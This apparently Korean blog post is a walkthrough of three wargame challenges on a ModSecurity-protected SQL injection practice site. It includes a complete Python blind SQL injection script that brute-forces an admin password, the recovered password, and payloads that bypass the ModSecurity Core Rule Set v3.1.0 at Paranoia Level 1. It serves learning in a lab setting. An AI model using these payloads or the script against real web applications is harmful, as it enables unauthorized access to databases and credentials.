갓-질라. 한국에서 '갓'이라는 접두어는 뭔가 엄청난 것에게 부여된다. 이번에 풀어볼 몬스터는 얼마나 대단한지, 코드를 통해서 알아보자

<출처 : 위키백과 https://en.wikipedia.org/wiki/Godzilla >


코드

blind sql injection이다. 정확한 pw를 요청하고 있고, query의 결과를 알 수 있는 특정한 조건문이 있다. 

혹시?

try : ?id=%27%20or%20id=%27admin%27

이제 익숙해지자... WAF가 또 사용되었다.


해결방법

Answer Url : modsec.rubiya.kr/chall/XXXX.php?pw=a18a6cc5

import string
from requests import get

if __name__=="__main__" :

    url = "### GODZILLA의 URL ###"
    cookie = dict(PHPSESSID ="### 자신의 PHPSESSID ###")
    length = 1  
    letters = string.digits + string.ascii_letters
    password = ''

    print("### LENGTH of PASSWORD SEARCH ###")
    while(True) :
        param = "?id=-1%27<@=1%20or%20length(pw)>"+str(length)+"%20and%20id<%27admio%27%20or%20pw=%27123&pw=123"
        new_url = url+param
        req = get(new_url,cookies=cookie)
        if (req.text.find("Hello admin")<0) :
            print("FIND! password lenght id : "+str(length))
            break
        length+=1
        


    print("\n### PASSWORD SEARCH ###")
    for i in range(1,length+1) :
        for a in letters :
            param = "?pw=-1%27<@=1%20or%20id<%27admio%27%20and%20pw>%27"+password+a+"%27%20%27"
            new_url = url+param
            req = get(new_url,cookies=cookie)
            
            if(req.text.find("Hello admin")<150 and req.text.find("Hello admin") != -1) :
                index = letters.index(a)
            else :
                break
        if(i!=length) :
            password += letters[index]
        else :
            password += letters[index+1]
        print("found pw for letter's",i,":",password)
        

    print("="*25)
    print("find password : "+password)

풀다가 깨달았는데, url 앞에 modsecurity에서 보호된다는 게 쓰여있다. ㄷㄷ 몰랐다.

풀이 방법은 ModSecurity우회 법과 blind sql injection을 합쳐서 풀었다. 문자열 비교 연산자를 통한 풀이가 되겠다.

출력은 다음과 같다.

### LENGTH of PASSWORD SEARCH ###
FIND! password lenght id : 8

### PASSWORD SEARCH ###
found pw for letter's 1 : a
found pw for letter's 2 : a1
found pw for letter's 3 : a18
found pw for letter's 4 : a18a
found pw for letter's 5 : a18a6
found pw for letter's 6 : a18a6c
found pw for letter's 7 : a18a6cc
found pw for letter's 8 : a18a6cc5
=========================
find password : a18a6cc5

 축하한다.


앞으로 MODSECURITY의 보호를 받고 있는 문제는 굳이 ' or 1=1--%20 같은 뻔한 Injection은 하지 말아야겠다. 다음 몬스터에서 여러분들을 기다리겠다.

Death에는 사신이라는 의미도 있다. 그니까 "죽음"그 자체가 아니라, 사신을 만난 것이다. 아래 우리나라 사신은 아니지만, 그러려니 하고 코드로 넘어가 보자

<출처 : 나무위키 https://namu.wiki/w/%EC%BF%A0%EB%A1%9C%EC%82%AC%ED%82%A4%20%EC%9D%B4%EC%B9%98%EA%B3%A0 >

 


코드

필터링되는 문자열은 전달되는 2개의 파라미터에 대해 다음과 같다.

언더바(_), 점(.), admin, 이스케이프(\)

이걸 뚫고, PW는 md5로 해싱한 결과와 비교한다. 혹시?

try : ?id=' or id=0x61646d696e-- ;

쳇... WAF 썼으면 이야기 좀 해주지....


해결방법

Answer Url : modsec.rubiya.kr/chall/XXXX.php?id=-1%27%3C@=1%20OR%20id%3C%27admio%27%20OR%20%27

저번 시간에 사용한 WAF 우회 법을 다시 들고 오자

즉 일 번에도 사용할 파라미터 -1'<@=1 OR {a 1}=1 OR '이다. 이를 이용해서 {a 1}=1을 우회해서 이번에는 id<'admio'를 사용했다. 그렇다. 'admin' 다음 문자이다. 


그렇다. DEATH의 공략도 WAF 우회 기법을 통해서 알 수 있었다. 취약점이 무서운 이유가 새삼 다시 느껴졌다. 다음 관문에서 여러분들을 기다리겠다.

크툴루다. 크툴루 신화를 모르는 사람은 어떡하라고....  러브크래프트의 코즈믹 호러 신화에 나오는 가상의 존재이다. 위엄과는 다르게 이번 문제에서는 비겁하게 출몰한다. 코드를 확인해보자

<출처 나무위키 : https://namu.wiki/w/%ED%81%AC%ED%88%B4%EB%A3%A8 >


코드

아이구... 영어 잘 못하는데, 위에 영어가 많다. 한번 읽어보면 Paranoia level 1의 ModSecurity Core Rule Set v3.1.0으로 WAF(Web Application Firewall)이 보호한다고 되어있다.(비겁하다! 크툴루! 방화벽 뒤에 숨어서!)

링크를 눌러보면 OWASP Mod Security홈페이지가 나온다.

<출처 : https://coreruleset.org/ >


해결방법

Answer Url : modsec.rubiya.kr/chall/XXXX.php?id=-1'<@=1 OR {a 1}=1 OR '

다행이도 우리의 친구 Github에 이를 ModSecurity PL1(Paranoia Level 1)을 bypass 할 수 있는 방법이 있다.

github.com/SpiderLabs/owasp-modsecurity-crs/issues/1167

 

Bypass the latest crs v3.1.0-rc3 rules for SQL injection · Issue #1167 · SpiderLabs/owasp-modsecurity-crs

Vulnerability demo(php+mysql+apache) test.php

github.com

위 게시글에 따르면 {'a',b}형태로 bypass가 가능하다고 이야기한다. 'a'에는 if나 version 같은 함수가 들어가고, b에는 비교 식이 들어간다고 적혀있다. 

 

으흠; 우리 상황과는 맞지 않는거 같다. table 도 명시적으로 추가되야하고, 사용할 수 있는 함수가 제한적으로 느껴진다.

위 글의 추가적인 내용을 덧붙히는 포스팅이 있었다.

github.com/SpiderLabs/owasp-modsecurity-crs/issues/1181

 

Bypass the latest CRS v3.1.0 rules of SQL injection · Issue #1181 · SpiderLabs/owasp-modsecurity-crs

Type of Issue False Negative Description Per #1167, I wanna raise more FNs in this thread. Before getting into other FNs, I want to give out more information to #1167 so as to help the maintainers ...

github.com

오 이건 사용할 수 있을 거 같다. 이글에 따르면 오로지 MySQL에서 사용할 수 있다고 한다. 우리의 문제는 PL1으로 보호되어있지만, PL2 예시에 있는

 

-1'<@=1 OR {a 1}=1 OR '


요고 쓰면 해결 할 수 있다. 설명 들어간다.

 

이를 이용하여 다음의 쿼리로 cthulhu를 무찌를 수 있다.

* 정말 똑똑한 분들은 세상에 너무 많다. 항상 배운다. 감사한다.


뭐; 사실 필자는 거의 이해도 못하고 복붙으로 해결했다. 물론 Open된 솔루션을 사용하는 게 잘못되었다는 건 아니지만, 필자는 적어도 글을 올리는 사람이니, 이거 끝나면 ModSecurity 사용법을 정확하게 알아보아야겠다. 다음 관문에서 기다리겠다.

+ Recent posts